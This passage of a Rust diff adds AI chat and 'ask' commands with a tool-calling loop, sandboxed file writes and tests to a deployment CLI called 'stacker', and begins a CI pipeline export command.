build_ai_prompt(question, context_content.as_deref()); + provider.complete(&prompt, system_prompt) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Agentic write loop +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Try to extract tool calls embedded as JSON text. +/// +/// Many Ollama models (qwen2.5-coder, deepseek-r1, etc.) do not return a +/// structured `tool_calls` field — they write the call as JSON in the content +/// text. This function detects the common patterns and converts them to +/// `Vec` so the agentic loop can execute them. +/// +/// Supported patterns (with or without surrounding markdown code fences): +/// {"name": "tool_name", "arguments": {...}} +/// [{"name": ..., "arguments": ...}, ...] +/// {"tool": "tool_name", "parameters": {...}} +/// {"function": {"name": ..., "arguments": ...}} +fn try_extract_tool_calls_from_text(text: &str) -> Vec { + // Strip markdown code fences and collect candidate JSON substrings + let stripped = text + .replace("```json", "") + .replace("```", "") + .trim() + .to_string(); + + // Try full string first, then scan for the first '{' / '[' + let candidates: Vec<&str> = { + let mut v = vec![stripped.as_str()]; + if let Some(idx) = stripped.find('{') { + v.push(&stripped[idx..]); + } + if let Some(idx) = stripped.find('[') { + v.push(&stripped[idx..]); + } + v + }; + + for candidate in candidates { + if let Ok(json) = serde_json::from_str::(candidate.trim()) { + let calls = parse_tool_calls_from_json(&json); + if !calls.is_empty() { + return calls; + } + } + } + vec![] +} + +/// Recursively normalise different JSON shapes into ToolCall list. +fn parse_tool_calls_from_json(json: &serde_json::Value) -> Vec { + // Array of calls + if let Some(arr) = json.as_array() { + let calls: Vec = arr + .iter() + .flat_map(|v| parse_tool_calls_from_json(v)) + .collect(); + if !calls.is_empty() { + return calls; + } + } + + // {"name": ..., "arguments": {...}} + if let (Some(name), Some(args)) = (json["name"].as_str(), json.get("arguments")) { + let arguments = if args.is_object() { + args.clone() + } else if let Some(s) = args.as_str() { + serde_json::from_str(s).unwrap_or(serde_json::json!({})) + } else { + serde_json::json!({}) + }; + return vec![ToolCall { + id: None, + name: name.to_string(), + arguments, + }]; + } + + // {"tool": ..., "parameters": {...}} + if let (Some(name), Some(args)) = (json["tool"].as_str(), json.get("parameters")) { + return vec![ToolCall { + id: None, + name: name.to_string(), + arguments: if args.is_object() { + args.clone() + } else { + serde_json::json!({}) + }, + }]; + } + + // {"function": {"name": ..., "arguments": ...}} + if let Some(func) = json.get("function") { + return parse_tool_calls_from_json(func); + } + + vec![] +} + +/// Maximum number of tool-call iterations to prevent runaway loops. +const MAX_TOOL_ITERATIONS: usize = 10; + +/// Guard: returns true only for paths the AI is allowed to write. +/// Permitted: `stacker.yml` (project root) and anything under `.stacker/`. +fn is_write_allowed(path_str: &str) -> bool { + // Normalise away leading "./" or "/" so the AI cannot escape with "../" + let p = path_str + .trim_start_matches("./") + .trim_start_matches('/') + .trim_start_matches('\\'); + // Reject any path that tries to escape with "../" + if p.contains("../") || p.contains("..\\") || p == ".." { + return false; + } + p == "stacker.yml" || p.starts_with(".stacker/") || p.starts_with(".stacker\\") +} + +/// Run a stacker-cli subprocess, capture combined stdout+stderr, return the output. +/// Uses the same binary that is currently executing so the path resolves correctly. +fn run_subprocess(args: &[&str]) -> String { + let exe = match std::env::current_exe() { + Ok(p) => p, + Err(e) => return format!("Error: could not resolve binary path: {}", e), + }; + + match std::process::Command::new(&exe).args(args).output() { + Ok(out) => { + let stdout = String::from_utf8_lossy(&out.stdout); + let stderr = String::from_utf8_lossy(&out.stderr); + let combined = format!("{}{}", stdout, stderr).trim().to_string(); + if out.status.success() { + if combined.is_empty() { + "OK (no output)".to_string() + } else { + combined + } + } else { + format!("Exit {}: {}", out.status.code().unwrap_or(-1), combined) + } + } + Err(e) => format!("Error running subprocess: {}", e), + } +} + +/// Execute a single tool call, return the result string to feed back to the AI. +/// Writes are sandboxed: only `stacker.yml` and `.stacker/*` are allowed. +fn execute_tool(call: &ToolCall, cwd: &Path) -> String { + match call.name.as_str() { + // ── file primitives ──────────────────────────────────────────────── + "write_file" => { + let path_str = match call.arguments["path"].as_str() { + Some(p) => p, + None => return "Error: missing 'path' argument".to_string(), + }; + // Enforce sandbox + if !is_write_allowed(path_str) { + return format!( + "Error: write denied — AI may only write to `stacker.yml` \ + or files inside `.stacker/`. Requested path: {}", + path_str + ); + } + let content = match call.arguments["content"].as_str() { + Some(c) => c, + None => return "Error: missing 'content' argument".to_string(), + }; + let full_path = cwd.join(path_str); + // Create parent directories if needed + if let Some(parent) = full_path.parent() { + if let Err(e) = std::fs::create_dir_all(parent) { + return format!("Error creating directories: {}", e); + } + } + match std::fs::write(&full_path, content) { + Ok(()) => { + eprintln!(" ✓ wrote {}", path_str); + format!("Successfully wrote {} bytes to {}", content.len(), path_str) + } + Err(e) => format!("Error writing {}: {}", path_str, e), + } + } + "read_file" => { + let path_str = match call.arguments["path"].as_str() { + Some(p) => p, + None => return "Error: missing 'path' argument".to_string(), + }; + let full_path = cwd.join(path_str); + match std::fs::read_to_string(&full_path) { + Ok(content) => content, + Err(e) => format!("Error reading {}: {}", path_str, e), + } + } + "list_directory" => { + let path_str = call.arguments["path"].as_str().unwrap_or("."); + // Prevent escaping the project directory + let p = path_str.trim_start_matches("./").trim_start_matches('/'); + if p.contains("../") || p == ".." { + return "Error: path traversal denied".to_string(); + } + let dir = cwd.join(p); + match std::fs::read_dir(&dir) { + Ok(entries) => { + let mut lines: Vec = entries + .filter_map(|e| e.ok()) + .map(|e| { + let name = e.file_name().to_string_lossy().to_string(); + let suffix = if e.path().is_dir() { "/" } else { "" }; + format!("{}{}", name, suffix) + }) + .collect(); + lines.sort(); + if lines.is_empty() { + format!("(empty directory: {})", path_str) + } else { + lines.join("\n") + } + } + Err(e) => format!("Error listing {}: {}", path_str, e), + } + } + + // ── read-only CLI tools ──────────────────────────────────────────── + "config_validate" => { + eprintln!(" ⚙ running: stacker config validate"); + run_subprocess(&["config", "validate"]) + } + "config_show" => { + eprintln!(" ⚙ running: stacker config show"); + run_subprocess(&["config", "show"]) + } + "stacker_status" => { + eprintln!(" ⚙ running: stacker status"); + run_subprocess(&["status"]) + } + "stacker_logs" => { + let mut args: Vec = vec!["logs".to_string()]; + if let Some(svc) = call.arguments["service"].as_str() { + args.push("--service".to_string()); + args.push(svc.to_string()); + } + let tail = call.arguments["tail"].as_u64().unwrap_or(50); + args.push("--tail".to_string()); + args.push(tail.to_string()); + let arg_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + eprintln!(" ⚙ running: stacker {}", args.join(" ")); + run_subprocess(&arg_refs) + } + "proxy_detect" => { + eprintln!(" ⚙ running: stacker proxy detect"); + run_subprocess(&["proxy", "detect"]) + } + + // ── agent CLI tools ──────────────────────────────────────────────── + "agent_health" => { + let mut args: Vec = vec![ + "agent".to_string(), + "health".to_string(), + "--json".to_string(), + ]; + if let Some(app) = call.arguments["app"].as_str() { + args.push("--app".to_string()); + args.push(app.to_string()); + } + if let Some(dep) = call.arguments["deployment"].as_str() { + args.push("--deployment".to_string()); + args.push(dep.to_string()); + } + eprintln!(" ⚙ running: stacker agent health"); + run_subprocess(&args.iter().map(|s| s.as_str()).collect::>()) + } + "agent_status" => { + let mut args: Vec = vec![ + "agent".to_string(), + "status".to_string(), + "--json".to_string(), + ]; + if let Some(dep) = call.arguments["deployment"].as_str() { + args.push("--deployment".to_string()); + args.push(dep.to_string()); + } + eprintln!(" ⚙ running: stacker agent status"); + run_subprocess(&args.iter().map(|s| s.as_str()).collect::>()) + } + "agent_logs" => { + let app = match call.arguments["app"].as_str() { + Some(a) => a, + None => return "Error: missing 'app' argument".to_string(), + }; + let mut args: Vec = vec![ + "agent".to_string(), + "logs".to_string(), + app.to_string(), + "--json".to_string(), + ]; + if let Some(limit) = call.arguments["limit"].as_u64() { + args.push("--limit".to_string()); + args.push(limit.to_string()); + } + if let Some(dep) = call.arguments["deployment"].as_str() { + args.push("--deployment".to_string()); + args.push(dep.to_string()); + } + eprintln!(" ⚙ running: stacker agent logs {}", app); + run_subprocess(&args.iter().map(|s| s.as_str()).collect::>()) + } + + // ── action CLI tools ─────────────────────────────────────────────── + "stacker_deploy" => { + let dry_run = call.arguments["dry_run"].as_bool().unwrap_or(true); + let mut args: Vec = vec!["deploy".to_string()]; + if let Some(target) = call.arguments["target"].as_str() { + args.push("--target".to_string()); + args.push(target.to_string()); + } + if dry_run { + args.push("--dry-run".to_string()); + } + if call.arguments["force_rebuild"].as_bool().unwrap_or(false) { + args.push("--force-rebuild".to_string()); + } + let label = if dry_run { + "stacker deploy --dry-run" + } else { + "stacker deploy" + }; + eprintln!(" ⚙ running: {}", label); + run_subprocess(&args.iter().map(|s| s.as_str()).collect::>()) + } + "proxy_add" => { + let domain = match call.arguments["domain"].as_str() { + Some(d) => d, + None => return "Error: missing 'domain' argument".to_string(), + }; + let mut args: Vec = + vec!["proxy".to_string(), "add".to_string(), domain.to_string()]; + if let Some(upstream) = call.arguments["upstream"].as_str() { + args.push("--upstream".to_string()); + args.push(upstream.to_string()); + } + if let Some(ssl) = call.arguments["ssl"].as_str() { + args.push("--ssl".to_string()); + args.push(ssl.to_string()); + } + eprintln!(" ⚙ running: stacker proxy add {}", domain); + run_subprocess(&args.iter().map(|s| s.as_str()).collect::>()) + } + + // ── add_service — add a service template to stacker.yml ──────────── + "add_service" => { + let service_name = match call.arguments["service_name"].as_str() { + Some(n) => n, + None => return "Error: missing 'service_name' argument".to_string(), + }; + eprintln!(" ⚙ adding service: {}", service_name); + + // Resolve the template from offline catalog + let catalog = ServiceCatalog::offline(); + let rt = match tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + { + Ok(rt) => rt, + Err(e) => return format!("Error creating runtime: {}", e), + }; + let entry = match rt.block_on(catalog.resolve(service_name)) { + Ok(entry) => entry, + Err(e) => return format!("Error: {}", e), + }; + + // Apply custom overrides from AI arguments + let mut svc = entry.service.clone(); + if let Some(ports) = call.arguments["custom_ports"].as_array() { + let custom: Vec = ports + .iter() + .filter_map(|v| v.as_str().map(|s| s.to_string())) + .collect(); + if !custom.is_empty() { + svc.ports = custom; + } + } + if let Some(env_obj) = call.arguments["custom_env"].as_object() { + for (k, v) in env_obj { + if let Some(val) = v.as_str() { + svc.environment.insert(k.clone(), val.to_string()); + } + } + } + + // Load stacker.yml, check for duplicates, append, save + let config_path = cwd.join("stacker.yml"); + if !config_path.exists() { + return format!( + "Error: stacker.yml not found at {}. Run `stacker init` first.", + config_path.display() + ); + } + + match StackerConfig::from_file_raw(&config_path) { + Ok(mut config) => { + // Duplicate check + if config.services.iter().any(|s| s.name == svc.name) { + return format!( + "Service '{}' already exists in stacker.yml. \ + Remove it first or choose a different name.", + svc.name + ); + } + + // Auto-add dependencies + let mut deps_added: Vec = Vec::new(); + for dep in &entry.related { + if !config.services.iter().any(|s| s.name == *dep) { + if let Ok(dep_entry) = rt.block_on(catalog.resolve(dep)) { + config.services.push(dep_entry.service); + deps_added.push(dep.clone()); + } + } + } + + config.services.push(svc.clone()); + + // Backup then write + let backup = config_path.with_extension("yml.bak"); + let _ = std::fs::copy(&config_path, &backup); + + match serde_yaml::to_string(&config) { + Ok(yaml) => match std::fs::write(&config_path, &yaml) { + Ok(()) => { + let mut msg = format!( + "✓ Added service '{}' ({}) to stacker.yml", + svc.name, entry.name + ); + if !deps_added.is_empty() { + msg.push_str(&format!( + "\n Also added dependencies: {}", + deps_added.join(", ") + )); + } + eprintln!(" {}", msg); + msg + } + Err(e) => format!("Error writing stacker.yml: {}", e), + }, + Err(e) => format!("Error serializing config: {}", e), + } + } + Err(e) => format!("Error parsing stacker.yml: {}", e), + } + } + + unknown => format!("Unknown tool: {}", unknown), + } +} + +/// Drive one tool-loop turn over an **existing** message history. +/// +/// Appends the user input, executes any tool calls the AI requests, and +/// returns the AI's final plain-text reply. The `messages` vec is mutated +/// in-place so the caller can keep multi-turn context. +fn run_chat_turn( + messages: &mut Vec, + user_input: &str, + provider: &dyn AiProvider, + with_tools: bool, +) -> Result { + messages.push(ChatMessage::user(user_input)); + let cwd = std::env::current_dir()?; + + if !with_tools || !provider.supports_tools() { + // Plain completion — feed the whole history as a single concatenated + // prompt so the provider's simple `complete()` path gets the context. + let history_text: String = messages + .iter() + .filter(|m| m.role != "system") + .map(|m| format!("{}: {}", m.role, m.content)) + .collect::>() + .join("\n"); + let system = messages + .first() + .filter(|m| m.role == "system") + .map(|m| m.content.as_str()) + .unwrap_or(""); + let reply = provider.complete(&history_text, system)?; + messages.push(ChatMessage { + role: "assistant".to_string(), + content: reply.clone(), + tool_calls: None, + tool_call_id: None, + }); + return Ok(reply); + } + + let tools: Vec = all_write_mode_tools(); + + for iteration in 0..MAX_TOOL_ITERATIONS { + let response = provider.complete_with_tools(messages, &tools)?; + + match response { + AiResponse::Text(text) => { + // Fallback: some models embed tool calls as JSON text instead + // of the structured tool_calls API field (common with Ollama). + let embedded = try_extract_tool_calls_from_text(&text); + if !embedded.is_empty() { + // Treat exactly like a proper ToolCalls response + messages.push(ChatMessage { + role: "assistant".to_string(), + content: String::new(), + tool_calls: Some(embedded.clone()), + tool_call_id: None, + }); + for call in &embedded { + let result = execute_tool(call, &cwd); + messages.push(ChatMessage::tool_result(call.id.clone(), result)); + } + if iteration + 1 == MAX_TOOL_ITERATIONS { + return Err(CliError::AiProviderError { + provider: provider.name().to_string(), + message: format!( + "Reached maximum tool iterations ({})", + MAX_TOOL_ITERATIONS + ), + }); + } + continue; + } + messages.push(ChatMessage { + role: "assistant".to_string(), + content: text.clone(), + tool_calls: None, + tool_call_id: None, + }); + return Ok(text); + } + AiResponse::ToolCalls(narration, calls) => { + if !narration.is_empty() { + eprintln!("{}", narration); + } + messages.push(ChatMessage { + role: "assistant".to_string(), + content: narration, + tool_calls: Some(calls.clone()), + tool_call_id: None, + }); + for call in &calls { + let result = execute_tool(call, &cwd); + messages.push(ChatMessage::tool_result(call.id.clone(), result)); + } + if iteration + 1 == MAX_TOOL_ITERATIONS { + return Err(CliError::AiProviderError { + provider: provider.name().to_string(), + message: format!( + "Reached maximum tool iterations ({})", + MAX_TOOL_ITERATIONS + ), + }); + } + } + } + } + Ok(String::new()) +} + +/// Agentic loop: send question to AI with write_file / read_file tools, execute +/// any tool calls, feed results back, repeat until the AI returns plain text +/// or the iteration limit is reached. +pub fn run_ai_ask_agentic( + question: &str, + context: Option<&str>, + provider: &dyn AiProvider, + system_prompt: &str, +) -> Result { + if !provider.supports_tools() { + return Err(CliError::AiProviderError { + provider: provider.name().to_string(), + message: "--write requires a provider that supports tool calling. \ + Configure ollama (llama3.1/qwen2.5-coder) or openai." + .to_string(), + }); + } + + let context_content = match context { + Some(path) => { + let p = Path::new(path); + if !p.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(path), + }); + } + Some(std::fs::read_to_string(p)?) + } + None => { + let cwd = std::env::current_dir()?; + build_default_project_context(&cwd) + } + }; + + let user_message = build_ai_prompt(question, context_content.as_deref()); + let cwd = std::env::current_dir()?; + let tools: Vec = all_write_mode_tools(); + + let mut messages: Vec = vec![ + ChatMessage::system(system_prompt), + ChatMessage::user(user_message), + ]; + + for iteration in 0..MAX_TOOL_ITERATIONS { + let response = provider.complete_with_tools(&messages, &tools)?; + + match response { + AiResponse::Text(text) => { + // Fallback for models that emit tool calls as JSON text + let embedded = try_extract_tool_calls_from_text(&text); + if !embedded.is_empty() { + if !text.trim().is_empty() { + // strip the JSON before showing narration to user + let narration = text + .lines() + .filter(|l| { + !l.trim().starts_with('{') + && !l.trim().starts_with('[') + && !l.trim().starts_with('`') + }) + .collect::>() + .join("\n"); + if !narration.trim().is_empty() { + eprintln!("{}", narration.trim()); + } + } + messages.push(ChatMessage { + role: "assistant".to_string(), + content: String::new(), + tool_calls: Some(embedded.clone()), + tool_call_id: None, + }); + for call in &embedded { + let result = execute_tool(call, &cwd); + messages.push(ChatMessage::tool_result(call.id.clone(), result)); + } + if iteration + 1 == MAX_TOOL_ITERATIONS { + return Err(CliError::AiProviderError { + provider: provider.name().to_string(), + message: format!( + "Reached maximum tool iterations ({})", + MAX_TOOL_ITERATIONS + ), + }); + } + continue; + } + return Ok(text); + } + AiResponse::ToolCalls(narration, calls) => { + if !narration.is_empty() { + eprintln!("{}", narration); + } + // Record the assistant turn (with its tool calls) + messages.push(ChatMessage { + role: "assistant".to_string(), + content: narration, + tool_calls: Some(calls.clone()), + tool_call_id: None, + }); + + // Execute each tool and append results + for call in &calls { + let result = execute_tool(call, &cwd); + messages.push(ChatMessage::tool_result(call.id.clone(), result)); + } + + if iteration + 1 == MAX_TOOL_ITERATIONS { + return Err(CliError::AiProviderError { + provider: provider.name().to_string(), + message: format!( + "Reached maximum tool iterations ({})", + MAX_TOOL_ITERATIONS + ), + }); + } + } + } + } + + Ok(String::new()) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AiAskCommand +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker ai ask "" [--context ] [--write]` +/// +/// Sends a question to the configured AI provider for assistance +/// with Dockerfile, docker-compose, or deployment troubleshooting. +/// +/// With `--write` the command activates an agentic loop: the AI may call +/// `write_file` / `read_file` tools to directly create or modify project files. +/// Requires a tool-capable model (Ollama: llama3.1, qwen2.5-coder; OpenAI: any). +pub struct AiAskCommand { + pub question: String, + pub context: Option, + pub configure: bool, + pub write: bool, + pub scenario: Option, + pub step: Option, +} + +impl AiAskCommand { + pub fn new(question: String, context: Option) -> Self { + Self { + question, + context, + configure: false, + write: false, + scenario: None, + step: None, + } + } + + pub fn with_configure(mut self, configure: bool) -> Self { + self.configure = configure; + self + } + + pub fn with_write(mut self, write: bool) -> Self { + self.write = write; + self + } + + pub fn with_scenario(mut self, scenario: Option, step: Option) -> Self { + self.scenario = scenario; + self.step = step; + self + } +} + +impl CallableTrait for AiAskCommand { + fn call(&self) -> Result<(), Box> { + let ai_config = if self.configure { + configure_ai_interactive(DEFAULT_CONFIG_FILE)? + } else { + load_ai_config(DEFAULT_CONFIG_FILE)? + }; + let provider = create_provider(&ai_config)?; + let cwd = std::env::current_dir()?; + let scenario_selection = self + .scenario + .as_ref() + .map(|name| ScenarioSelection::new(name.clone(), self.step.clone())); + + if self.write { + let enriched_prompt = + build_system_prompt_base(&cwd, &ai_config, scenario_selection.as_ref(), true)?; + let response = run_ai_ask_agentic( + &self.question, + self.context.as_deref(), + provider.as_ref(), + &enriched_prompt, + )?; + if !response.is_empty() { + println!("{}", response); + } + } else { + let system_prompt = build_system_prompt_base( + &cwd, + &ai_config, + scenario_selection.as_ref(), + scenario_selection.is_some(), + )?; + let response = run_ai_ask_with_system_prompt( + &self.question, + self.context.as_deref(), + provider.as_ref(), + &system_prompt, + )?; + println!("{}", response); + } + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AiChatCommand — interactive REPL +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Help text shown inside the REPL. +const CHAT_HELP: &str = "\ +Commands available in the AI chat session: + help Show this message + clear Reset conversation history (keeps system context) + paste Enter multiline paste mode + exit / quit End the session + Ctrl-D End the session + +Tips: + - Ask anything about your stacker.yml, Dockerfile, or deployment. + - With --write the AI can create/edit files in .stacker/ and stacker.yml. + - Run `paste`, then finish with `::send` to submit a multiline prompt. + - Use `::cancel` to discard multiline input. + - Multiline input is limited to 512 lines per message. + - Conversation history is kept across turns — the AI remembers context."; + +/// `stacker ai [--write]` +/// +/// Starts an interactive chat session with the configured AI provider. +/// History is preserved across turns for multi-step conversations. +/// With `--write` the AI may call `write_file` / `read_file` tools, +/// but only for `stacker.yml` and files inside `.stacker/`. +pub struct AiChatCommand { + pub write: bool, + pub scenario: Option, + pub step: Option, +} + +impl AiChatCommand { + pub fn new(write: bool, scenario: Option, step: Option) -> Self { + Self { + write, + scenario, + step, + } + } +} + +impl CallableTrait for AiChatCommand { + fn call(&self) -> Result<(), Box> { + let ai_config = load_ai_config(DEFAULT_CONFIG_FILE)?; + let provider = create_provider(&ai_config)?; + let model_name = ai_config.model.as_deref().unwrap_or("default"); + let provider_name = provider.name(); + let stdin = io::stdin(); + let mut reader = stdin.lock(); + let mut stdout = io::stdout(); + + let write_active = self.write && provider.supports_tools(); + + // Banner + eprintln!( + "Stacker AI ({provider} · {model}){tools}", + provider = provider_name, + model = model_name, + tools = if write_active { + " [write mode — .stacker/ + stacker.yml]" + } else { + "" + } + ); + eprintln!("Type your question and press Enter. Use `paste` for multiline input."); + eprintln!("`help` for tips, `exit` to quit."); + eprintln!(); + + // Seed project context into the initial system message + let cwd = std::env::current_dir()?; + let project_ctx = build_default_project_context(&cwd); + let scenario_selection = self + .scenario + .as_ref() + .map(|name| ScenarioSelection::new(name.clone(), self.step.clone())); + let base_system = + build_system_prompt_base(&cwd, &ai_config, scenario_selection.as_ref(), true)?; + let system = match project_ctx { + Some(ctx) => format!("{}\n\n## Current project files\n{}", base_system, ctx), + None => base_system, + }; + + let mut messages: Vec = vec![ChatMessage::system(&system)]; + + loop { + // Prompt + write!(stdout, "\x1b[1;36m>\x1b[0m ")?; + stdout.flush()?; + + // Read a line (Ctrl-D → EOF → break) + let Some(line) = read_input_line(&mut reader)? else { + eprintln!("\nBye!"); + break; + }; + + let user_input = match parse_chat_repl_command(line) { + ChatReplCommand::Exit => { + eprintln!("Bye!"); + break; + } + ChatReplCommand::Help => { + eprintln!("{}", CHAT_HELP); + continue; + } + ChatReplCommand::Clear => { + messages.truncate(1); // keep system message + eprintln!(" ↺ conversation cleared"); + continue; + } + ChatReplCommand::Paste => { + eprintln!( + "Paste mode — finish with `{}`, cancel with `{}`, max {} lines.", + CHAT_MULTILINE_SEND_MARKER, + CHAT_MULTILINE_CANCEL_MARKER, + CHAT_MULTILINE_MAX_LINES + ); + + match collect_multiline_input(&mut reader, &mut stdout)? { + MultilineInputResult::Submit(message) => message, + MultilineInputResult::Cancelled => { + eprintln!(" ↺ paste cancelled"); + continue; + } + MultilineInputResult::Eof => { + eprintln!("\nBye!"); + break; + } + MultilineInputResult::LimitExceeded { max_lines } => { + eprintln!( + " ✗ paste too large: maximum {} lines per message", + max_lines + ); + continue; + } + } + } + ChatReplCommand::Message(input) => input, + ChatReplCommand::Empty => continue, + }; + + match run_chat_turn(&mut messages, &user_input, provider.as_ref(), write_active) { + Ok(reply) => { + println!("\n{}\n", reply); + } + Err(e) => { + eprintln!(" ✗ error: {}", e); + } + } + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::AiProviderType; + + fn scenario_ai_config() -> AiConfig { + AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + model: Some("qwen2.5-coder:latest".to_string()), + api_key: None, + endpoint: Some("http://localhost:11434".to_string()), + timeout: 300, + tasks: vec![], + } + } + + struct MockProvider { + response: String, + } + + impl MockProvider { + fn new(response: &str) -> Self { + Self { + response: response.to_string(), + } + } + } + + impl AiProvider for MockProvider { + fn name(&self) -> &str { + "mock" + } + fn complete(&self, _prompt: &str, _context: &str) -> Result { + Ok(self.response.clone()) + } + } + + #[test] + fn test_build_prompt_without_context() { + let prompt = build_ai_prompt("How do I optimize my Dockerfile?", None); + assert_eq!(prompt, "How do I optimize my Dockerfile?"); + } + + #[test] + fn test_schema_system_prompt_covers_key_sections() { + assert!(STACKER_SCHEMA_SYSTEM_PROMPT.contains("deploy.server")); + assert!(STACKER_SCHEMA_SYSTEM_PROMPT.contains("deploy.cloud")); + assert!(STACKER_SCHEMA_SYSTEM_PROMPT.contains("proxy")); + assert!(STACKER_SCHEMA_SYSTEM_PROMPT.contains("services")); + assert!(STACKER_SCHEMA_SYSTEM_PROMPT.contains("hooks")); + assert!(STACKER_SCHEMA_SYSTEM_PROMPT.contains("${VAR_NAME}")); + } + + #[test] + fn test_build_prompt_with_context() { + let prompt = build_ai_prompt("Explain this", Some("FROM node:18\nRUN npm install")); + assert!(prompt.contains("context")); + assert!(prompt.contains("FROM node:18")); + assert!(prompt.contains("Explain this")); + } + + #[test] + fn test_run_ai_ask_returns_response() { + let provider = MockProvider::new("Use multi-stage builds for smaller images."); + let result = run_ai_ask("How to optimize?", None, &provider).unwrap(); + assert_eq!(result, "Use multi-stage builds for smaller images."); + } + + #[test] + fn test_run_ai_ask_with_context_file() { + let dir = tempfile::TempDir::new().unwrap(); + let ctx_path = dir.path().join("Dockerfile"); + std::fs::write(&ctx_path, "FROM rust:1.75\nCOPY . .").unwrap(); + + let provider = MockProvider::new("Looks good!"); + let result = + run_ai_ask("Review this", Some(ctx_path.to_str().unwrap()), &provider).unwrap(); + assert_eq!(result, "Looks good!"); + } + + #[test] + fn test_run_ai_ask_missing_context_file_errors() { + let provider = MockProvider::new("unreachable"); + let result = run_ai_ask("question", Some("/does/not/exist.txt"), &provider); + assert!(result.is_err()); + } + + #[test] + fn test_build_system_prompt_base_includes_scenario_step() { + let dir = tempfile::TempDir::new().unwrap(); + let state = crate::cli::ai_scenarios::ScenarioState::new("website-deploy", "init-validate"); + crate::cli::ai_scenarios::save_scenario_state(dir.path(), &state).unwrap(); + + let prompt = build_system_prompt_base( + dir.path(), + &scenario_ai_config(), + Some(&ScenarioSelection::new( + "website-deploy", + Some("init-validate".to_string()), + )), + true, + ) + .unwrap(); + + assert!(prompt.contains("Active deployment scenario")); + assert!(prompt.contains("init-validate")); + assert!(prompt.contains("Validate generated stacker config")); + } + + #[test] + fn test_parse_chat_repl_command_detects_paste_mode() { + assert_eq!( + parse_chat_repl_command(" :paste ".to_string()), + ChatReplCommand::Paste + ); + } + + #[test] + fn test_collect_multiline_input_submits_joined_message() { + let mut reader = std::io::Cursor::new(b"first line\nsecond line\n::send\n"); + let mut prompt = Vec::new(); + + let result = collect_multiline_input(&mut reader, &mut prompt).unwrap(); + assert_eq!( + result, + MultilineInputResult::Submit("first line\nsecond line".to_string()) + ); + assert!(!prompt.is_empty()); + } + + #[test] + fn test_collect_multiline_input_can_cancel() { + let mut reader = std::io::Cursor::new(b"first line\n::cancel\n"); + let mut prompt = Vec::new(); + + let result = collect_multiline_input(&mut reader, &mut prompt).unwrap(); + assert_eq!(result, MultilineInputResult::Cancelled); + } + + #[test] + fn test_collect_multiline_input_rejects_more_than_512_lines() { + let mut input = String::new(); + for idx in 0..=CHAT_MULTILINE_MAX_LINES { + input.push_str(&format!("line-{idx}\n")); + } + input.push_str("::send\n"); + + let mut reader = std::io::Cursor::new(input.into_bytes()); + let mut prompt = Vec::new(); + + let result = collect_multiline_input(&mut reader, &mut prompt).unwrap(); + assert_eq!( + result, + MultilineInputResult::LimitExceeded { + max_lines: CHAT_MULTILINE_MAX_LINES, + } + ); + } +} diff --git a/stacker/stacker/src/console/commands/cli/ci.rs b/stacker/stacker/src/console/commands/cli/ci.rs new file mode 100644 index 0000000..c0c6db9 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/ci.rs @@ -0,0 +1,223 @@ +//! CI/CD pipeline export commands. +//! +//! ```text +//! stacker ci export --platform github # writes .github/workflows/stacker-deploy.yml +//! stacker ci export --platform gitlab # writes .gitlab-ci.yml +//! stacker ci export --platform bitbucket # writes bitbucket-pipelines.yml +//! stacker ci export --platform jenkins # writes Jenkinsfile +//! stacker ci validate --platform github # checks pipeline is in sync with stacker.yml +//! ``` + +use std::io::Write; +use std::path::{Path, PathBuf}; + +use crate::cli::ci_export::CiExporter; +use crate::cli::config_parser::StackerConfig; +use crate::cli::error::CliError; +use crate::console::commands::CallableTrait; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ci export +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker ci export --platform [--file stacker.yml]` +pub struct CiExportCommand { + pub platform: String, + pub file: Option, +} + +impl CiExportCommand { + pub fn new(platform: String, file: Option) -> Self { + Self { platform, file } + } +} + +impl CallableTrait for CiExportCommand { + fn call(&self) -> Result<(), Box> { + let config_path = self.file.as_deref().unwrap_or(DEFAULT_CONFIG_FILE); + let path = Path::new(config_path); + + if !path.exists() { + return Err(Box::new(CliError::ConfigNotFound { + path: path.to_path_buf(), + })); + } + + let config = StackerConfig::from_file(path)?.with_resolved_deploy_target(None)?; + let exporter = CiExporter::new(config); + + let (output_content, output_path) = match self.platform.to_lowercase().as_str() { + "github" | "github-actions" | "gha" => { + let content = exporter.generate_github()?; + let out = PathBuf::from(".github/workflows/stacker-deploy.yml"); + (content, out) + } + "gitlab" | "gitlab-ci" => { + let content = exporter.generate_gitlab()?; + let out = PathBuf::from(".gitlab-ci.yml"); + (content, out) + } + "bitbucket" | "bitbucket-pipelines" | "bb" => { + let content = exporter.generate_bitbucket()?; + let out = PathBuf::from("bitbucket-pipelines.yml"); + (content, out) + } + "jenkins" | "jenkinsfile" => { + let content = exporter.generate_jenkins()?; + let out = PathBuf::from("Jenkinsfile"); + (content, out) + } + other => { + return Err(Box::new(CliError::ConfigValidation(format!( + "Unknown platform '{other}'. Supported: github, gitlab, bitbucket, jenkins" + )))); + } + }; + + // Ask before overwriting + if output_path.exists() { + eprint!( + " {} already exists. Overwrite? [y/N] ", + output_path.display() + ); + std::io::stderr().flush().ok(); + let mut answer = String::new(); + std::io::stdin().read_line(&mut answer)?; + if !answer.trim().eq_ignore_ascii_case("y") { + println!("Aborted."); + 